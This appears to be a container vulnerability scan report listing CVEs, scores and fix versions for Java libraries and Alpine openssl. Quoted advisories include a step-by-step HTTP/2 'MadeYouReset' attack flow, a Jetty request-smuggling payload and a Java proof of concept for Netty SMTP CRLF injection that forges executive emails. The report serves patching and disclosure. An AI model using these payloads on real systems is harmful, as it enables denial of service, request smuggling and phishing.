- -high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. - -
-
- -high 7.5: CVE--2021--22569 Incorrect Behavior Order - - - - - - - - -
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
- -
Description -
- -## Summary - -A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. - -Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) - -Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. - -## Severity - -[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. - -## Proof of Concept - -For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -- protobuf-java (3.16.1, 3.18.2, 3.19.2) -- protobuf-kotlin (3.18.2, 3.19.2) -- google-protobuf [JRuby gem only] (3.19.2) - - -
-
- -medium 5.7: CVE--2022--3171 Improper Input Validation - - - - - - - - -
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -## Summary -A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. - -Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) - -Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -## Severity - -[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) - -## Remediation and Mitigation - -Please update to the latest available versions of the following packages: - -protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) -protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) -google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) - - -
-
- -medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
- -
Description -
- -Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. - -
-
-
-
critical: 0 high: 4 medium: 1 low: 0 org.codehaus.jettison/jettison 1.1 (maven) - -pkg:maven/org.codehaus.jettison/jettison@1.1
-high 7.5: CVE--2023--1436 Uncontrolled Recursion - - - - - - - - -
Affected range<1.5.4
Fixed version1.5.4
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
- -
Description -
- -An infinite recursion is triggered in Jettison when constructing a JSONArray from a Collection that contains a self-reference in one of its elements. This leads to a StackOverflowError exception being thrown. - -
-
- -high 7.5: CVE--2022--45693 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -Jettison before v1.5.2 was discovered to contain a stack overflow via the map parameter. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted string. - -
-
- -high 7.5: CVE--2022--45685 Out-of-bounds Write - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -A stack overflow in Jettison before v1.5.2 allows attackers to cause a Denial of Service (DoS) via crafted JSON data. - -
-
- -high 7.5: CVE--2022--40150 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<1.5.2
Fixed version1.5.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.055%
EPSS Percentile17th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by Out of memory. This effect may support a denial of service attack. - -
-
- -medium 6.5: CVE--2022--40149 Stack-based Buffer Overflow - - - - - - - - -
Affected range<1.5.1
Fixed version1.5.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.521%
EPSS Percentile66th percentile
- -
Description -
- -Those using Jettison to parse untrusted XML or JSON data may be vulnerable to Denial of Service attacks (DOS). If the parser is running on user supplied input, an attacker may supply content that causes the parser to crash by stackoverflow. This effect may support a denial of service attack. - -
-
-
-
critical: 0 high: 3 medium: 0 low: 0 io.netty/netty-codec-http2 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-http2@4.1.96.Final
-high 8.2: CVE--2025--55163 Allocation of Resources Without Limits or Throttling - - - - - - - - -
Affected range<=4.1.123.Final
Fixed version4.1.124.Final
CVSS Score8.2
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.102%
EPSS Percentile29th percentile
- -
Description -
- -Below is a technical explanation of a newly discovered vulnerability in HTTP/2, which we refer to as “MadeYouReset.” - -### MadeYouReset Vulnerability Summary -The MadeYouReset DDoS vulnerability is a logical vulnerability in the HTTP/2 protocol, that uses malformed HTTP/2 control frames in order to break the max concurrent streams limit - which results in resource exhaustion and distributed denial of service. - -### Mechanism -The vulnerability uses malformed HTTP/2 control frames, or malformed flow, in order to make the server reset streams created by the client (using the RST_STREAM frame). -The vulnerability could be triggered by several primitives, defined by the RFC of HTTP/2 (RFC 9113). The Primitives are: -1. WINDOW_UPDATE frame with an increment of 0 or an increment that makes the window exceed 2^31 - 1. (section 6.9 + 6.9.1) -2. HEADERS or DATA frames sent on a half-closed (remote) stream (which was closed using the END_STREAM flag). (note that for some implementations it's possible a CONTINUATION frame to trigger that as well - but it's very rare). (Section 5.1) -3. PRIORITY frame with a length other than 5. (section 6.3) -From our experience, the primitives are likely to exist in the decreasing order listed above. -Note that based on the implementation of the library, other primitives (which are not defined by the RFC) might exist - meaning scenarios in which RST_STREAM is not supposed to be sent, but in the implementation it does. On the other hand - some RFC-defined primitives might not work, even though they are defined by the RFC (as some implementations are not fully complying with RFC). For example, some implementations we’ve seen discard the PRIORITY frame - and thus does not return RST_STREAM, and some implementations send GO_AWAY when receiving a WINDOW_UPDATE frame with increment of 0. - -The vulnerability takes advantage of a design flaw in the HTTP/2 protocol - While HTTP/2 has a limit on the number of concurrently active streams per connection (which is usually 100, and is set by the parameter SETTINGS_MAX_CONCURRENT_STREAMS), the number of active streams is not counted correctly - when a stream is reset, it is immediately considered not active, and thus unaccounted for in the active streams counter. -While the protocol does not count those streams as active, the server’s backend logic still processes and handles the requests that were canceled. - -Thus, the attacker can exploit this vulnerability to cause the server to handle an unbounded number of concurrent streams from a client on the same connection. The exploitation is very simple: the client issues a request in a stream, and then sends the control frame that causes the server to send a RST_STREAM. - -### Attack Flow -For example, a possible attack scenario can be: -1. Attacker opens an HTTP/2 connection to the server. -2. Attacker sends HEADERS frame with END_STREAM flag on a new stream X. -3. Attacker sends WINDOW_UPDATE for stream X with flow-control window of 0. -4. The server receives the WINDOW_UPDATE and immediately sends RST_STREAM for stream X to the client (+ decreases the active streams counter by 1). - -The attacker can repeat steps 2+3 as rapidly as it is capable, since the active streams counter never exceeds 1 and the attacker does not need to wait for the response from the server. -This leads to resource exhaustion and distributed denial of service vulnerabilities with an impact of: CPU overload and/or memory exhaustion (implementation dependent) - -### Comparison to Rapid Reset -The vulnerability takes advantage of a design flow in the HTTP/2 protocol that was also used in the Rapid Reset vulnerability (CVE-2023-44487) which was exploited as a zero-day in the wild in August 2023 to October 2023, against multiple services and vendors. -The Rapid Reset vulnerability uses RST_STREAM frames sent from the client, in order to create an unbounded amount of concurrent streams - it was given a CVSS score of 7.5. -Rapid Reset was mostly mitigated by limiting the number/rate of RST_STREAM sent from the client, which does not mitigate the MadeYouReset attack - since it triggers the server to send a RST_STREAM. - -### Suggested Mitigations for MadeYouReset -A quick and easy mitigation will be to limit the number/rate of RST_STREAMs sent from the server. -It is also possible to limit the number/rate of control frames sent by the client (e.g. WINDOW_UPDATE and PRIORITY), and treat protocol flow errors as a connection error. - -As mentioned in our previous message, this is a protocol-level vulnerability that affects multiple vendors and implementations. Given its broad impact, it is the shared responsibility of all parties involved to handle the disclosure process carefully and coordinate mitigations effectively. - - -If you have any questions, we will be happy to clarify or schedule a Zoom call. - -Gal, Anat and Yaniv. - -
-
- -high 7.5: GHSA--xpw8--rcwv--8f8p Uncontrolled Resource Consumption - - - - - - -
Affected range<4.1.100.Final
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- -
Description -
- -A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack. - -### Impact -This is a DDOS attack, any http2 server is affected and so you should update as soon as possible. - -### Patches -This is patched in version 4.1.100.Final. - -### Workarounds -A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own `Http2FrameListener` implementation or an `ChannelInboundHandler` implementation (depending which http2 API is used). - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-44487 -- https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/ -- https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/ - -
-
- -high 7.5: CVE--2023--44487 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range<4.1.100
Fixed version4.1.100.Final
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score94.424%
EPSS Percentile100th percentile
- -
Description -
- -The HTTP/2 protocol allows a denial of service (server resource consumption) because request cancellation can reset many streams quickly, as exploited in the wild in August through October 2023. - -
-
-
-
critical: 0 high: 2 medium: 0 low: 0 net.minidev/json-smart 1.3.2 (maven) - -pkg:maven/net.minidev/json-smart@1.3.2
-high 7.5: CVE--2023--1370 Uncontrolled Recursion - - - - - - - - -
Affected range<2.4.9
Fixed version2.4.9
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.014%
EPSS Percentile2nd percentile
- -
Description -
- -### Impact -Affected versions of [net.minidev:json-smart](https://github.com/netplex/json-smart-v1) are vulnerable to Denial of Service (DoS) due to a StackOverflowError when parsing a deeply nested JSON array or object. - -When reaching a ‘[‘ or ‘{‘ character in the JSON input, the code parses an array or an object respectively. It was discovered that the 3PP does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause stack exhaustion (stack overflow) and crash the software. - -### Patches -This vulnerability was fixed in json-smart version 2.4.9, but the maintainer recommends upgrading to 2.4.10, due to a remaining bug. - -### Workarounds -N/A - -### References -- https://www.cve.org/CVERecord?id=CVE-2023-1370 -- https://nvd.nist.gov/vuln/detail/CVE-2023-1370 -- https://security.snyk.io/vuln/SNYK-JAVA-NETMINIDEV-3369748 - -
-
- -high 7.5: CVE--2021--31684 Out-of-bounds Read - - - - - - - - -
Affected range>=1.3.0
<1.3.3
Fixed version1.3.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.117%
EPSS Percentile31st percentile
- -
Description -
- -A vulnerability was discovered in the indexOf function of JSONParserByteArray in JSON Smart versions prior to 1.3.3 and 2.4.5 which causes a denial of service (DOS) via a crafted web request. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 1 ch.qos.logback/logback-core 1.2.10 (maven) - -pkg:maven/ch.qos.logback/logback-core@1.2.10
-high 7.1: CVE--2023--6378 Deserialization of Untrusted Data - - - - - - - - -
Affected range<1.2.13
Fixed version1.2.13
CVSS Score7.1
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.613%
EPSS Percentile69th percentile
- -
Description -
- -A serialization vulnerability in logback receiver component part of logback allows an attacker to mount a Denial-Of-Service attack by sending poisoned data. - -This is only exploitable if logback receiver component is deployed. See https://logback.qos.ch/manual/receivers.html - -
-
- -medium 5.9: CVE--2025--11226 Improper Input Validation - - - - - - - - -
Affected range<1.3.16
Fixed version1.5.19
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution. - -A successful attack requires the Janino library and Spring Framework to be present on the user's class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges. - -
-
- -medium 5.9: CVE--2024--12798 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection') - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score5.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:H/VA:L/SC:L/SI:H/SA:L/RE:L/U:Clear
EPSS Score0.290%
EPSS Percentile52nd percentile
- -
Description -
- -ACE vulnerability in JaninoEventEvaluator by QOS.CH logback-core up to and including version 1.5.12 in Java applications allows attackers to execute arbitrary code by compromising an existing logback configuration file or by injecting an environment variable before program execution. - -Malicious logback configuration files can allow the attacker to execute arbitrary code using the JaninoEventEvaluator extension. - -A successful attack requires the user to have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privilege. - -
-
- -low 2.4: CVE--2024--12801 Server-Side Request Forgery (SSRF) - - - - - - - - -
Affected range<1.3.15
Fixed version1.3.15
CVSS Score2.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:L/VI:N/VA:L/SC:H/SI:H/SA:H/V:D/U:Clear
EPSS Score0.048%
EPSS Percentile15th percentile
- -
Description -
- -Server-Side Request Forgery (SSRF) in SaxEventRecorder by QOS.CH logback version 1.5.12 on the Java platform, allows an attacker to forge requests by compromising logback configuration files in XML. - -The attacks involves the modification of DOCTYPE declaration in  XML configuration files. - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) - -pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
-high : CVE--2025--9230 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9231 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
- -medium : CVE--2025--9232 - - - - - - -
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 1 medium: 2 low: 0 org.eclipse.jetty/jetty-server 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.51.v20230217
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
- -medium 5.3: CVE--2023--40167 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16, 12.0.1
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
-high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release - - - - - - - - -
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.074%
EPSS Percentile23rd percentile
- -
Description -
- -In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. - -
-
- -medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
- -
Description -
- -### Impact -Remote DOS attack can cause out of memory - -### Description -There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which -can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By -repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the -server's memory. - -### Affected Versions - -* Jetty 12.0.0-12.0.8 (Supported) -* Jetty 11.0.0-11.0.23 (EOL) -* Jetty 10.0.0-10.0.23 (EOL) -* Jetty 9.3.12-9.4.55 (EOL) - -### Patched Versions - -* Jetty 12.0.9 -* Jetty 11.0.24 -* Jetty 10.0.24 -* Jetty 9.4.56 - -### Workarounds - -Do not use `ThreadLimitHandler`. -Consider use of `QoSHandler` instead to artificially limit resource utilization. - -### References - -Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 - -
-
-
-
critical: 0 high: 1 medium: 1 low: 0 com.nimbusds/nimbus-jose-jwt 9.8.1 (maven) - -pkg:maven/com.nimbusds/nimbus-jose-jwt@9.8.1
-high 8.7: CVE--2023--52428 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<9.37.2
Fixed version9.37.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.078%
EPSS Percentile24th percentile
- -
Description -
- -In Connect2id Nimbus JOSE+JWT before 9.37.2, an attacker can cause a denial of service (resource consumption) via a large JWE p2c header value (aka iteration count) for the PasswordBasedDecrypter (PBKDF2) component. - -
-
- -medium 5.8: CVE--2025--53864 Uncontrolled Recursion - - - - - - - - -
Affected range<9.37.4
Fixed version10.0.2
CVSS Score5.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L
EPSS Score0.044%
EPSS Percentile14th percentile
- -
Description -
- -Connect2id Nimbus JOSE + JWT before 10.0.2 allows a remote attacker to cause a denial of service via a deeply nested JSON object supplied in a JWT claim set, because of uncontrolled recursion. NOTE: this is independent of the Gson 2.11.0 issue because the Connect2id product could have checked the JSON object nesting depth, regardless of what limits (if any) were imposed by Gson. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) - -pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
-high 8.7: CVE--2025--52999 Stack-based Buffer Overflow - - - - - - - - -
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
- -
Description -
- -### Impact -With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. - -### Patches -jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. -jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. - -### Workarounds -Users should avoid parsing input files from untrusted sources. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec-smtp@4.1.96.Final
-high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - - - - - - - - -
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
- -
Description -
- -### Summary -An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. - -### Details -The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. - -The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. - -Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. - -### PoC -A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. - -**1. Malicious Payload** - -The core of the exploit is the payload, where new SMTP commands are injected into a parameter. - -```java -// The legitimate recipient is followed by an injected email sequence -String injected_recipient = "legit-recipient@example.com\r\n" + - "MAIL FROM:\r\n" + - "RCPT TO:\r\n" + - "DATA\r\n" + - "From: ceo@trusted-domain.com\r\n" + - "To: victim@anywhere.com\r\n" + - "Subject: Urgent: Phishing Email\r\n" + - "\r\n" + - "This is a forged email that will pass authentication checks.\r\n" + - ".\r\n" + - "QUIT\r\n"; -``` - -**2. Triggering the Vulnerability** - -The vulnerability is triggered when this payload is used to create an SMTP request. - -```java -// The Netty SMTP codec will fail to sanitize this input -SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); - -// When this request is sent to an SMTP server, the injected commands -// will be executed, sending a forged email. -channel.writeAndFlush(maliciousRequest); -``` - -**3. Full Reproduction Steps** - -A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server - -* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c - -To run the full PoC: - -1. **Set up a local SMTP server.** The easiest way is using MailHog: - * On macOS: `brew install mailhog && mailhog` - * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` -2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. -3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. - -### Impact -This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). - -The primary impacts are: -* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. -* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. - -
-
-
-
critical: 0 high: 1 medium: 0 low: 0 com.google.protobuf/protobuf-java 3.23.4 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.23.4
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
